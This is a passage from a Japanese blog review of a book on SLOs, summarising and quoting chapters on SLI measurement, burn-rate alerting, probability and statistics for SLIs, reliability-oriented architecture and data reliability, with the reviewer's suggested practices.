history.」と述べています。この柔軟性は、SLOの継続的な改善と調整において重要です。本書では、一般的なSLO実装パターンとして、レイテンシに敏感なリクエスト処理、低遅延・高スループットのバッチ処理、モバイル・Webクライアントの3つを挙げています。これらのパターンの解説は、実際のシステム設計において参考になりました。特に、モバイル・Webクライアントのパフォーマンス測定に関する考察は、エンドユーザー視点のSLOの重要性を再認識させられました。技術的な詳細に関しては、本書がTSDBにおけるヒストグラム実装について詳細に説明している点が有用でした。例えば、バケット化されたデータを用いてパーセンタイルを近似する方法の説明は、実際のSLO実装において直接適用可能な知見です。また、Dunning and Ertlのt-digestアルゴリズムへの言及は、より高度なSLO実装を検討する上で参考になりました。分散トレーシングとSLOの統合に関する本書の考察も興味深いものでした。「Historically, distributed tracing was thought of as its own \\"product\\" with valuable but highly specialized use cases, mostly around performance analysis and distributed debugging. Really, though, distributed traces are just a data source that can be applied to a variety of problems, and SLIs and SLOs are well qualified to benefit from distributed tracing data and technology.」この視点は、分散システムにおけるSLO実装の新たな可能性を示唆しており、今後のSRE実践において重要な指針となると感じました。本書では、SLIとSLOの実装が単なる技術的な問題ではなく、組織文化の変革を伴うものであることを強調しています。特に、SLIとSLOの発見可能性(Discoverability)の重要性を指摘している点は印象的でした。SLOアプローチの効果を最大化するためには、SLIとSLOが組織全体で容易に発見され、理解されることが不可欠です。この点は、SREとしての私たちの役割が単なる技術的な実装を超えて、組織全体のアラインメントを促進する重要な位置にあることを示唆しています。この章から得られる重要な教訓は、SLIとSLOの実装が複雑な多段階の計算を伴う作業であり、様々なトレードオフを慎重に検討する必要があるということです。本書では、「At the end of the day, most useful SLIs and SLO measurements are complex, multistage computations, and like any such computations, their implementation involves trade-offs and conflicting goals that must be held in tension.」と述べています。この認識は、SLO実装の難しさと同時に、その重要性を端的に表現しています。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:組織の現状のインフラストラクチャ(TSDB、ログシステム)を評価し、SLO実装の6つの設計目標に照らし合わせて適合性を検討する。一般的なSLO実装パターン(レイテンシに敏感なリクエスト処理、低遅延・高スループットのバッチ処理、モバイル・Webクライアント)を参考に、自組織のシステムに適したSLO実装戦略を策定する。TSDBを使用する場合、統計分布のサポートを重視し、必要に応じてカスタムの実装(例:バケット化されたヒストグラム)を検討する。構造化イベントデータベースを使用する場合、コストと鮮度のバランスを慎重に評価し、高スループットシステムでの使用には注意を払う。分散トレーシングシステムとSLOの統合を検討し、より詳細なパフォーマンス分析と問題解決を可能にする。SLIとSLOの発見可能性を高めるため、組織内での文書化と共有のプロセスを確立する。また、分散トレーシングとSLOの統合に関しては、OpenTelemetryなどのオープンソースフレームワークを活用することで、より効果的なSLO実装が可能になります。例えば、OpenTelemetryのSpanデータを利用して、サービス間の依存関係を考慮したSLOを実装することができます。SLIとSLOの発見可能性を高めるためには、組織内のサービスカタログやWikiシステムとの統合が効果的です。例えば、各サービスのドキュメントページにSLIとSLOの定義を明記し現在の状態を動的に表示するダッシュボードへのリンクを提供するなど、技術的な実装と組織的なプロセスを組み合わせたアプローチが考えられます。この章を読んで、SLIとSLOの実装は、単なる技術的な課題ではなく、組織全体のアラインメントと継続的な改善プロセスの中核を成すものです。特に、本書が強調する柔軟性とテスト可能性の重要性は、急速に変化するビジネス環境において重要です。同時に、コストと信頼性のバランスを取ることの難しさも再認識しました。高スループットのシステムでSLOを実装する際、TSDBと構造化イベントデータベースのどちらを選択するか、あるいは両者をどのように組み合わせるかは、慎重に検討する必要があります。この選択は、組織の規模、技術スタック予算など、様々な要因に依存します。本書が提案する6つの設計目標(柔軟なターゲット、テスト可能なターゲット、鮮度、コスト、信頼性、組織的制約)は、SLO実装プロジェクトの評価フレームワークとして有用です。これらの目標を常に意識しながら設計と実装を進めることで、より効果的なSLOシステムを構築できると確信しています。総括すると、この章はSLIとSLOの測定に関する包括的かつ実践的なガイドを提供しています。本書の豊富な経験に基づく洞察は、SLO実装の複雑さと重要性を明確に示しています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO実装が可能になり、結果として組織全体のパフォーマンス向上につながると確信しています。同時に、SLOの実装は継続的な学習と改善のプロセスであることを忘れてはいけません。技術の進化や組織の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。特に、分散トレーシングとの統合やAIを活用したSLO予測など、新しい技術の活用可能性に注目していく必要があります。今後の課題としては、SLOデータを活用した予測分析の実装、マイクロサービスアーキテクチャにおけるEnd-to-EndのSLO管理、そしてビジネスKPIとSLOの統合などが考えられます。これらの課題に取り組むことで、SREの実践はさらに進化し、より効果的にビジネス価値を創出できるようになるでしょう。最後に、本書の「SLIとSLOの実装は複雑な多段階の計算であり、様々なトレードオフを伴う」という指摘は重要です。この認識を持ちつつ、組織の特性に合わせた最適なSLO実装を追求していくことが、SREとしての私たち重要な役割だと感じました。Table 7-1. An example simple TSDB entry より引用Table 7-2. A simple way to start bucketing data より引用Table 7-3. Implementing a real histogram より引用これらの図は、TSDBを使用したSLO実装の具体的な方法を示しており、実際のシステム設計において有用です。特に、Figure 7.3のヒストグラム実装の例は、パーセンタイルベースSLOを実装する際の具体的な指針となります。SLIとSLOの測定は、SREの実践において中心的な役割を果たすものです。この章で学んだ概念と手法を、日々の業務に積極的に取り入れていくことで、より信頼性の高いシステムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLIとSLOの概念は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。Chapter 8. SLO Monitoring and Alerting第8章「SLO Monitoring and Alerting」は、SLO(Service Level Objectives)に基づくモニタリングとアラートの実践的な実装について深く掘り下げています。本書では、従来のしきい値ベースのアラートの問題点を指摘し、SLOアラートがいかにそれらの問題を解決し、より効果的なシステム用を可能にするかを詳細に解説しています。pyrraのようなSLO の管理、エラー バジェットの計算、記録およびアラート ルールの作成に役立つツールもあります。他にもGrafanaでもいくつの機能があるのでおすすめです。learning.Oreilly.com本章の冒頭で、本書では「SLO alerting really is one of the most promising developments in the management of production systems today. It promises to get rid of a lot of the chaos, the noise, and the sheer uselessness of conventional alerting that teams experience, and replace them with something significantly more maintainable.」と述べています。この言葉は、SLOアラートの重要性と可能性を端的に表現しており、SREとしての私の経験と深く共鳴しました。従来のアラート手法の限界を日々感じている中で、SLOアラートが提供する新しいアプローチに大きな期待を抱きました。本書では、従来のしきい値ベースのアラートの問題点を詳細に分析しています。印象的だったのは、以下の点です:しきい値が時間とともに適切でなくなる問題ユーザー体験を直接反映していない指標への依存コンテキストの喪失アラート疲れとウォーフォグ(戦争の霧)効果これらの問題点は、SREとしての私の経験とも一致しており、共感できるものでした。「Human responses to alerts gradually decay in energy over time.」という指摘は重要です。アラート疲れは、運用チームの効率と対応品質を低下させる大きな要因となっています。本書で提案するSLOアラートのアプローチは、これらの問題に対する解決策として魅力的です。エラーバジェットの消率に基づいたアラートの設定は、ユーザー体験に直結した指標を用いることで、より意味のあるアラートを実現できます。エラーバジェットの消費率の計算方法とそれに基づくアラートの設定に関する式としていかが紹介されています。Rate of error budget consumption = (observed errors per [time period or event count]) / (allowable errors per [time period or event count])また、本書が提案するローリングウィンドウの概念も有用です。短期的な問題(fast burn)と長期的な問題(slow burn)を区別して扱うアプローチは、実際のシステム運用において効果的だと感じました。本書では、SLOアラートの実装に関する具体的なガイダンスも提供しています。1時間で2%のエラーバジェット消費をページングアラートの閾値とし、3日間で10%の消費をチケット発行の閾値とする提案は、実践的で有用な指針です。しかし、本書でも指摘しているように、SLOアラートの実装には課題もあります。既存のシステム(ブラウンフィールド)へのSLOアラートの導入には、様々な困難が伴います。本書が提案する以下のアプローチは、この課題に対処する上で参考になりました:現状の人的影響を示す既存のアウテージフットプリントをレビューする新旧のシステムを並行して運用するこれらのアプローチは、組織内でのSLOアラート導入を推進する際に、有効な戦略だと感じました。本章の結論部分で、本書では以下の重要な推奨事項を提示しています:内属性(CPU使用率など)に基づくアラートから脱却することアラートシステムの技術的能力を確認すること可観測性(Observability)の重要性を認識することSLO設定の努力とコストを考慮することこれらの推奨事項は、SLOアラートを効果的に実装し、運用していく上で重要な指針となります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:現在のアラート設定を見直し、内部属性に基づくアラートを特定するユーザー体験に直結するSLIを定義し、それに基づいたSLOを設定するエラーバジェットのバーンレートを計算し、それに基づいたアラートを設定する短期(fast burn)と長期(slow burn)のアラートを区別して設定するアラートシステムの能力を評価し、必要に応じてアップグレードを検討する可観測性を向上させるためのツールやプラクティスを導入するSLO設定とそれに伴うオペレーショナルロードについて、ステークホルダーと議論するこの章を読んで、SLOアラートの導入は、単なる技術的な変更ではなく、組織全体の運用方針とインシデント対応の在り方を根本的に変える可能性を秘めていることを理解しました。ユーザー体験を中心に据えたアプローチは、SREの本質的な目的である「ユーザーの満足度向上」に直結するものです。同時に、SLOアラートの導入には慎重なアプローチが必要であることも再認識しました。既存のシステムや組織文化との整合性を取ることの重要性を強く感じました。SREとして、技術的な実装だけでなく、組織全体のアラインメントを図りながら、段階的SLOアラートを導入していくアプローチが重要だと考えます。総括すると、この章はSLOアラートの実装に関する包括的かつ実践的なガイドを提供しています。本書の豊富な経験に基づく洞察は、SLOアラートの可能性と課題を明確に示しています。SREとして、この章から学んだアプローチを実践することで、より効果的なアラート体制を構築し、結果としてシステムの信頼性向上とユーザー満足度の向上につながると確信しています。同時に、SLOアラートの導入は継続的な学習と改善のプロセスであることを忘れてはいけません。技術の進化や組織の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「SLO alerting promises to get rid of a lot of the chaos, the noise, and the sheer uselessness of conventional alerting that teams experience, and replace them with something significantly more maintainable.」という言葉を再度強調したいと思います。この視点を持ちつつ、組織の特性に合わせた最適なSLOアラートの実装を追求していくことが、SREとしての私たちの重要な役割だと感じました。Chapter 9. Probability and Statistics for SLIs and SLOs第9章「Probability and Statistics for SLIs and SLOs」は、SLO(Service Level Objectives)とSLI(Service Level Indicators)の設計と実装における確率と統計の重要性を深く掘り下げています。本章は、SREが直面する複雑な問題に対して、数学的なアプローチを用いてより精密な解決策を提供することを目的としています。learning.Oreilly.com章の冒頭で、本書は次のように述べています:「Reliability is expensive, and figuring out the amount of reliability you need is crucial for making the most of your resources.」この言葉は、SREの本質的な課題を端的に表現しています。適切な信頼性レベルを決定することは、リソースの最適化と顧客満足度のバランスを取る上で極めて重要です。本章は、主に二つの重要な問題に焦点を当てています:SLOの適切な設定方法と、SLIの正確な計算方法です。これらの問題は、新しいサービスの立ち上げや既存のサービスの改善において常に直面する課題です。例えば、依存関係を持つサービスのSLOをどのように設定するべきか、あるいは低頻度のイベントに対してSLIをどのように計算するべきかといった問題が取り上げられています。本書は、これらの問題に対処するために確率論と統計学の手法を導入しています。印象的だったのは、ベルヌーイ試行とポアソン分布の活用です。これらの概念は、サービスの可用性や信頼性を数学的にモデル化する上で有用です。例えば、本書は99.99%の可用性を持つサービスを例に挙げ、これをコイン投げの問題に置き換えて説明しています。この類推は、確率論の概念を直感的に理解する上で効果的です。本書は次のように述べています:「If you flipped a coin to decide some question, you\'d probably expect the probability of heads or tails to be about 50%. Mathematically, we say that the coin has a bias of .5.」この説明は、複雑な確率の概念を身近な例を用いて分かりやすく解説しています。本章で興味深かったのは、期待値(Expected Value)の概念とその応用です。本書は、期待値が確率分布の重要な特性であり、プロセスの出力を予測する上で最良の推定値であることを説明しています。しかし、同時に本書は期待値の限界についても言及しています。「Unfortunately, despite its name, the expected value of a distribution is not always a good description of the values that would come out of sampling from it.」この指摘は、SREが数学的モデルを実際のシステムに適用する際に注意すべき重要な点を示唆しています。本書は、期待値の限界を補完するものとして中央値(Median)の概念を導入しています。中央値は、外れ値の影響を受けやすい分布において、より適切な代表値となる場合があります。この概念は、SLOの設定において重要です。例えば、応答時間のSLOを設定する際、極端に長い応答時間の影響を排除するために中央値を使用することが有効な場合があります。本章では、Maximum Likelihood Estimation(MLE)やMaximum a Posteriori(MAP)などの統計的推定手法についても詳細に説明されています。これらの手法は、限られたデータから信頼性の高い推定を行う上で重要です。本書は、これらの手法をSLIの計算に応用する方法を具体的に示しています。N年ぶりに聞いたベイズ推定の応用はとても良かったです。本書は、事前の知識や信念を数学的にモデル化し、新たな観測データと組み合わせて推定を行う方法を詳細に説明しています。この手法は、低頻度のイベントやデータが限られている状況でのSLI計算に有効です。本書は次のように述べています:「If we have good reason to think some values of p are more likely than others before we get any evidence, then this allows us to incorporate those prior beliefs into our calculations.」この考え方は、SREが過去の経験や専門知識をSLIの計算に反映させる方法を提供しており、実践的です。本章の後半では、キューイング理論とその応用について詳細な説明がなされています。本書は、M/M/1キューやM/M/cキューなどのモデルを用いて、システムのレイテンシーや処理能力を数学的に分析する方法を示しています。これらのモデルは、システムの性能予測や容量計画において有用です。本書は、キューイング理論の応用例として、バッチ処理システムの分析を挙げています。ここでは、ポアソン分布を用いてリクエストの到着パターンをモデル化し、システムの処理能力との関係を数学的に分析しています。この分析は、SLOの設定やシステムのスケーリング計画を立てる上で有用な洞察を提供しています。本章の結論部分で、本書は次のように述べています:「The power of thinking in a probabilistic and statistical manner is that it allows verification of the gut feel that most team members will have developed around the behavior of the system.」この言葉は、本章全体のメッセージを端的に表現しています。確率と統計の手法は、SREの経験や直感を数学的に検証し、より信頼性の高い意思決定を行うための強力なツールとなります。Figure 9-11. The binomial distribution with p = .9999, n = 10 より引用Figure 9-11では、高い可用性(99.99%)を持つシステムのパフォーマンスを示すヒストグラムが提示されています。この図は、極めて高い信頼性を持つシステムにおいても、わずかながら失敗が発生する可能性があることを視覚的に示しており、完璧な信頼性が実現不可能であることを明確に表現しています。Figure 9-29. Mean latency as approaches —as the average arrival time comes closer to the average service time, the latency grows severely より引用Figure 9-30. The 95th-percentile latency より引用Figure 9-29と9-30は、システムのUtilizationとレイテンシーの関係を示すグラフです。これらの図は、システムの利用率が増加するにつれて、レイテンシーが非線形に上昇することを明確に示しています。この関係の理解は、適切なキャパシティプランニングとSLO設定において極めて重要です。本章から得られる重要な教訓は、SLOとSLIの設計と実装において、確率と統計の手法が強力なツールとなるということです。これらの手法は、直感的な判断を数学的に裏付け、より精密で信頼性の高い意思決定を可能にします。同時に、本章は数学的モデルの限界についても明確に指摘しています。本書は次のように警告しています:「While models are helpful, they cannot be completely correct. This is exactly why they are models.」この認識は、SREが数学的モデルを実際のシステムに適用する際に常に念頭に置くべき重要な点です。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:SLOの設定において、単純な平均値だけでなく、分布の特性(期待値、中央値、パーセンタイル)を考慮に入れる。システムのパフォーマンスを収集し、適切な確率分布(例:ポアソン分布、指数分布)でモデル化する。ベイズ推定を用いて、過去の経験や専門知識をSLIの計算に反映させる。キューイング理論を活用して、システムの容量計画やスケーリング戦略を数学的に裏付ける。いくつかの手法を用いて、複雑なシステムの振る舞いを予測し、適切なSLOを設定する。統計的手法を用いてSLIの信頼区間を計算し、測定の不確実性を定量化する。これらのアプローチを実践することで、より精密で信頼性の高いSLOとSLIの設計と実装が可能になります。技術的な観点からは、本章で紹介された数学的手法を実装するためのツールやライブラリの活用が重要です。例えば、PythonのSciPyライブラリは、本章で紹介された確率分布や統計的推定手法を容易に実装できる機能を提供しています。また、Prometheusなどの監視ツールと組み合わせることで、リアルタイムでSLIを計算し、統計的な分析を行うことが可能になります。さらに、機械学習の手法を活用して、より高度なSLO予測モデルを構築することも検討に値します。例えば、時系列予測モデルを用いてSLIの将来的な傾向を予測し、プロアクティブなシステム調整を行うことが可能になります。本章を読んで、私はSREの役割がより数学的・分析的になりつつあることを強く感じました。単純なルールベースの監視やアラートから、確率論と統計学に基づいた精密な分析へとシフトしていく傾向は、システムの複雑化と規模の拡大に伴う必然的な流れだと考えられます。同時に、この数学的アプローチの導入には課題もあります。組織全体でこれらの概念を理解し、実践に移すためには、継続的な教育と文化の変革が必要です。SREとして、これらの数学的概念を非技術者を含む組織全体に分かりやすく説明し、その価値を示していくことが重要な役割となります。総括すると、この章は確率と統計の手法をSLOとSLIの設計と実装に適用する具体的な方法を提供しています。これらの手法は、SREが直面する複雑な問題に対して、より精密で信頼性の高い解決策を提供する可能性を秘めています。同時に、数学的モデルの限界を認識し、実際のシステムの振る舞いとのバランスを取ることの重要性も強調されています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLOとSLIの設計が可能になり、結果としてシステムの信頼性向上とユーザー満足度の向上につながると確信しています。同時に、これらの数学的手法の適用は継続的な学習と改善のプロセスであることを忘れてはいけません。新しい技術や方法論の登場に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「The power of thinking in a probabilistic and statistical manner is that it allows verification of the gut feel that most team members will have developed around the behavior of the system.」という言葉を再度強調したいと思います。この視点を持ちつつ、直感と数学的分析のバランスを取りながら、より精密で信頼性の高いシステム運用を追求していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだ確率と統計の手法は、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いシテムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、これらの手法の適用には慎重さと継続的な学習が必要であることも忘れてはいけません。新しい技術や方法論の登場、そしてビジネス要件の変化に応じて、常にアプローチを見直し、適応していく必要があります。SREとして、この章から得られた知見を組織全体に浸透させ、データ駆動の意思決定文化を醸成していくことが重要です。確率と統計に基づいたアプローチは、単にシステムの信頼性を向上させるだけでなく、組織全体の意思決定プロセスを改善し、より効率的なリソース配分を可能にします。今後の課題としては、これらの数学的手法をより使いやすく、理解しやすいツールやフレームワークに落とし込んでいくことが挙げられます。また、機械学習や人工知能の進歩に伴い、より高度な予測モデルや最適化アルゴリズムを活用した次世代のSLO/SLI管理システムの開発も期待されます。この章で学んだ確率と統計の手法は、SREの実践において強力な武器となります。これらの手法を適切に活用することで、より精密で信頼性の高いシステム運用が可能になり、結果としてユーザー満足度の向上とビジネス目標の達成につながると確信しています。SREとして、常に学び続け、新しい知識と技術を積極的に取り入れながら、組織とシステムの継続的な改善に貢献していくことが重要です。Chapter 10. Architecting for Reliability第10章「Architecting for Reliability」は、SLO(Service Level Objectives)を念頭に置いたシステム設計の重要性と方法論について深く掘り下げています。本章は、システムアーキテクトがSLOを考慮しながら、いかに信頼性の高いシステムを設計できるかを詳細に解説しています。SRE になるために役立つシステム エンジニアリングのシラバスのご紹介でもこちらの章を紹介しています。cloud.google.com本章の冒頭で、著者は次のように述べています:「This chapter focuses on designing systems from the ground up with SLOs in mind.」この言葉は、SLOがシステム設計の初期段階から考慮されるべき重要な要素であることを強調しています。この視点は重要だと感じました。多くの場合、SLOは既存のシステムに後付けで適用されがちですが、設計段階からSLOを考慮することで、より効果的で信頼性の高いシステムを構築できます。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazon本章で特に印象的だったのは、ユーザージャーニーの重要性についての言及です。著者は次のように述べています:「User journeys, which represent the same concept as SLIs (see Chapter 3), help us understand these interactions, as well as the implications for the user when the system does not meet its objectives.」この視点は、技術的な指標だけでなく、ユーザー体験を中心に据えたシステム設計の重要性を強調しています。SREとして、この考え方は重要です。私たちは往々にして技術的な指標にとらわれがちですが、最終的にはユーザーの満足度こそが最も重要な指標であることを忘れてはいけません。本章では、システム設計における様々な考慮事項について詳細に解説しています。ハードウェアの選択がシステムのSLOに与える影響について、興味深い分析がなされています。例えば、著者は次のように述べています:「A system cannot offer an SLO greater than any of its dependencies\' SLOs.」この指摘は、システム全体のSLOを考える上で重要です。依存関係にあるコンポーネントのSLOを理解し、それらを考慮してシステム全体のSLOを設定することの重要性を再認識させられました。ハードウェアの選択に関する具体的な例として、本章では異なるストレージオプションの比較が示されています。Figure 10.1では、ハードディスク、SSD、RAMの読み取りレイテンシとIOPSが比較されており、これらの選択がSLIにどのような影響を与えるかが明確に示されています。この比較表は、システム設計の初期段階で重要な意思決定を行う際の貴重な指針となります。本章では、モノリスかマイクロサービスかいう議論についても言及しています。著者は、サービス指向アーキテクチャ(SOA)の利点を強調しつつ、次のように述べています:「An open-ended system—one that allows for extension and change—is superior to a closed-ended system.」この視点は、急速に変化するビジネス環境において重要です。SREとして、システムの拡張性と変更の容易さは、長期的な運用性と信頼性を確保する上で不可欠な要素だと感じました。システムの故障モードの予測と対応についても、本章では詳細に解説されています。著者は次のように述べています:「When designing systems it\'s important to anticipate failure modes—that is, the problems that a system may realistically encounter and that it can respond to in order to maintain its SLOs.」この考え方は、SREの核心に触れるものです。システムの信頼性を高めるためは、単に正常時の動作を設計するだけでなく、様々な異常状態を予測し、それらに適切に対応できるようにシステムを設計することが重要です。本章では、リクエストの種類(同期、非同期、バッチ)に応じた設計上の考慮事項についても言及しています。これらの異なるタイプのリクエストに対して適切に対応することで、システム全体のパフォーマンスと信頼性を向上させることができます。バッチ処理に関する次の指摘は印象的でした:「Batch processing of requests typically happens because their results are not time-sensitive or in the critical path, yet SLIs still play an important role: they provide measurements for KPIs such as the duration of each batch process, meaning how long the process takes to execute, and the number of requests processed in each batch.」この視点は、非同期処理やバッチ処理のSLOを設定す際の重要な指針となります。システムの定量的分析に関する部分も興味深いものでした。著者は、システムの可用性を構成要素の可用性の組み合わせとして表現できることを示しています。この考え方は、複雑なシステムの信頼性を理解し、改善する上で有用です。1 - SLO = ((MTTD + MTTM) / MTBF) \xd7 IMPACTこの式は、システムの信頼性を人間の対応時間と関連付けて表現しており、SREの実務に直接適用可能な洞察を提供しています。本章の後半では、システムの依存関係の重要性について詳しく解説されています。著者は次のように述べています:「Once your product and engineering perspectives agree, you can develop SLOs, and we can turn back to \\"the system.\\" Thus far we have designed a system that solves our problem as designed, without building any nonessential software.」この視点は、システム設計において不要な複雑さを避け、本質的な問題解決に焦点を当てることの重要性を強調しています。Figure 10.5では、システムの境界を理解することの重要性が視覚的に示されています。この図は、システム内の「ブラックボックス」(サードパーティのサービスやクラウドベースのシステムなど)を識別し、それらがシステム全体の信頼性にどのように影響するかを理解することの重要性を強調しています。本章から得られる重要な教訓は、SLOを考慮したシステム設計が、単なる技術的な演習ではなく、ユーザー体験と密接に結びついた重要なプロセスであるということです。著者は次のように述べています:「In order to have effective SLOs, we need to reflect the user experience, not only system performance.」この視点は、SREの実践において重要です。技術的な観点からは、本章で紹介されたシステム設計の方法論は実践的で有用です。ユーザージャーニーに基づいてSLIとSLOを設定し、それらを元にシステムアーキテクチャを決定していくアプローチは、多くのSREプロジェクトに適用可能です。また、本章で強調されている「グレースフルデグラデーション」の概念も重要です。著者は次のように述べています:「Given congestion on the internal network between application servers and the storage component, a conscious architectural decision will, for example, allow our image-serving system to degrade such that thumbnail pages continue to serve within 250 ms, even though loading the detail view might take longer.」この考え方は、システムの一部に問題が発生した場合でも、全体としての機能を維持し、ユーザー体験への影響を最小に抑えるための重要な設計原則です。本章を読んで、システムアーキテクトとしての視点を持ちつつ、ユーザー体験とビジネス目標を常に意識しながらシステムを設計することの重要性を強く感じました。同時に、SLOを単なる数値目標ではなく、システム設計の指針として活用することの有効性も再認識しました。総括すると、この章はSLOを考慮したシステム設計に関する包括的かつ実践的なガイドを提供しています。ユーザージャーニーの重要性、ハードウェア選択の影響、マイクロサービスアーキテクチャの利点、故障モードの予測と対応、異なるタイプのリクエストへの対応、システムの定量的分析、依存関係の理解など、システム設計の重要な側面を網羅しています。SREとして、この章か学んだアプローチを実践することで、より信頼性が高く、ユーザー体験を重視したシステムの設計が可能になると確信しています。設計の初期段階からSLOを考慮し、ユーザージャーニーに基づいてシステムアーキテクチャを決定していくアプローチは、多くのプロジェクトで有効に活用できるでしょう。同時に、本章で強調されているシステムの依存関係の理解と管理の重要性も、実務上重要です。クラウドサービスやサードパーティのAPIに依存する現代のシステム開発において、これらの「ブラックボックス」がシステム全体のSLOにどのような影響を与えるかを理解し、適切に管理することは不可欠です。今後の課題としては、急速に進化するクラウド技術や新しいアーキテクチャパターン(例:サーバーレスアーキテクチャ)にして、本章で紹介されたアプローチをどのように適用していくかを検討する必要があります。また、機械学習やAIを活用したシステムの設計において、SLOをどのように定義し、管理していくかも重要な研究テーマとなるでしょう。最後に、本章の「SLOs as a Result of System SLIs」というセクションで述べられている「The SLOs for a system follow from the SLIs we have identified, although not necessarily directly: in order to have effective SLOs, we need to reflect the user experience, not only system performance.」という言葉を再度強調したいと思います。この視点を持ちつつ、技術的な指標とユーザー体験のバランスを取りながら、より効果的なシステム設計を追求していくことが、SREとしての私たちの重要な役割だと感じました。本章で学んだSLOを考慮したシステム設計のアプローチは、SREの実践におい中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いシステムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、システム設計の方法論は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、SLOを中心としたシステム設計の文化を醸成していくことが重要です。ユーザー体験を重視し、信頼性と性能のバランスを取りながら、柔軟で拡張性の高いシステムを設計することで、長期的にはユーザー満足度の向上とビジネス目標の達成につながると確信しています。Chapter 11. Data Reliability第11章「Data Reliability」は、データサービスの信頼性に焦点を当て、SLO(Service Level Objectives)とSLI(Service Level Indicators)の設定と運用について深く掘り下げています。本章は、データの信頼性が他のサービスの信頼性とどのように異なるか、そしてデータサービスに特有のSLOをどのように設定し、測定すべきかを詳細に解説しています。syu-m-5151.hatenablog.com章の冒頭で、著者は次のように述べています:「The goal of this chapter is to explore what makes SLOs for data services different from SLOs for other services.」データの信頼性は、単なるシステムの可用性や性能だけでなく、データそのものの品質や整合性にもく関わるため、独自の考慮事項が必要になります。本章で特に印象的だったのは、データの信頼性を13の属性に分類し、それぞれについて詳細に解説している点です。これらの属性は、データプロパティ(7つ)とデータアプリケーションプロパティ(6つ)に分けられています。データプロパティには以下が含まれます:1. Freshness(鮮度)2. Completeness(完全性)3. Consistency(一貫性)4. Accuracy(厳密性)5. Validity(妥当性)6. Integrity(整合性)7. Durability(耐久性)データアプリケーションプロパティには以下が含まれます:1. Security(セキュリティ)2. Availability(可用性)3. Scalability(スケーラビリティ)4. Performance(性能)5. Resilience(回復力)6. Robustness(堅牢性)これらの属性の詳細な解説は、データサービスの信頼性を多面的に捉える上で常に有用です。各属性について具体的なSLOの例が提示されている点が印象的でした。例えば、Freshnessに関するSLOの例として、以下が挙げられています:「Example SLO: 97% of data is available in the dashboard tool within 15 minutes of an event occurring.」このような具体例は、実際のSLO設定の際の重要な指針となります。 Figure 11-1. Data properties and their relationships to each other より引用本章では、これらの属性が相互に関連し、時には相反する関係にあることも指摘されています。Figure 11-1では、各属性間の関係が視覚的に示されており、データサービスの設計における複雑さと、トレードオフの必要性を明確に現しています。技術的な観点から特に興味深かったのは、各属性に対するSLOの測定方法と、それらがシステム設計にどのように影響するかについての解説です。例えば、Durabilityに関しては、クラウドプロバイダーが提供する99.999999999%(11ナイン)という高い耐久性が紹介されています。これは、100万のオブジェクトを保存した場合、10万年に1回のペースでオブジェクトを失うことを意味します。このような極端に高い信頼性目標が、データサービスにおいて重要視される理由について、著者は次のように述べています:「Data-related properties have a different calculus of risk. Properties like durability, consistency, and integrity must be considered in a unique light, because once lost they are difficult to regain. Recovering from a true durability failure can be impossible, and the effects of these failures will persist forward indefinitely into your users\' future.」この指摘は、データサービスの信頼性が他のサービスとは根本的に異なる性質を持つことを明確に示しています。一度失われたデータを回復することの困難さ、そしてそれが引き起こす長期的な影響を考慮すると、データサービスにおいては極めて高い信頼性目標を設定することが正当化されます。本章では、SLOの設定だけでなく、それらを達成するためのシステム設計についても言及しています。Figure 11-1では、各データ属性とシステム設計の考慮事項(時間、アクセス、冗長性、サンプリング、可変性、分散)との関係が示されています。著者は、データサービスの信頼性を考える上で、データの系譜(Data Lineage)の重要性も強調しています。データが複数のサービスを通過する過程で、各サービスの信頼性がどのように全体の信頼性に影響するかを理解することの重要性が指摘されています。「Data can flow through an application like a river, which is probably why there are so many water-related metaphors in the space (streams, pools, data lakes). As the process goes from one step to the next, we\'re moving downstream. Where in the process is our application\'s data? Who are the upstream producers/publishers? Do these sources have SLOs? Who are the downstream consumers/subscribers of this data? How will they use the data?」この視点は、複雑な分散システムにおけるデータの信頼性を考える上で重要です。上流のサービスのSLOが下流のサービスのSLOに直接影響を与えることを理解し、システム全体としての信頼性を設計することの重要性を再認識させられました。本章の結論部分で、著者は次のように述べています:「Modern organizations are often obsessed with \\"data quality.\\" They hire tons of engineers to think about it. But quality is ultimately subjective unless you can define and measure it, and it\'s inextricably intertwined with the systems that collect, store, process, and produce our data. We must reframe these conversations, and use SLOs to provide a supporting framework of quantitative measurement to help define the mechanisms by which we provide users with reliable data.」この言葉は、データの信頼性を主観的な概念から客観的に測定可能なものへと転換する必要性を強調しています。SLOを用いてデータの信頼性を定量化することで、組織はより効果的にデータ品質を管理し、改善することができます。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:データサービスの各属性(Freshness, Completeness, Consistency など)について、具体的なSLOを設定し、それらを定期的に測定・評価する仕組みを構築する。データの系譜を明確に把握し、上流サービスのSLOが下流サービスのSLOにどのように影響するかを分析する。データの信頼性に関する各属性のトレードオフを理解し、ユーザーのニーズと技術的な制約のバランスを取りながら、適切なSLOを設定する。データの耐久性や整合性などの回復困難な属性に特に注意を払い、それらに対して極めて高い信頼性目標を設定する。SLOの測定結果を継続的にモニタリングし、システム設計の改善に活用する。技術的な観点からは、本章で紹介された各属性のSLO測定方法を実装するためのツールやフレームワークの開発が重要になります。例えば、データ鮮度(Freshness)を測定するためのタイムスタンプ管理システムや、データの完全性(Completeness)をチェックするための自動検証ツールなどが考えられます。また、本章で強調されているデータの系譜(Data 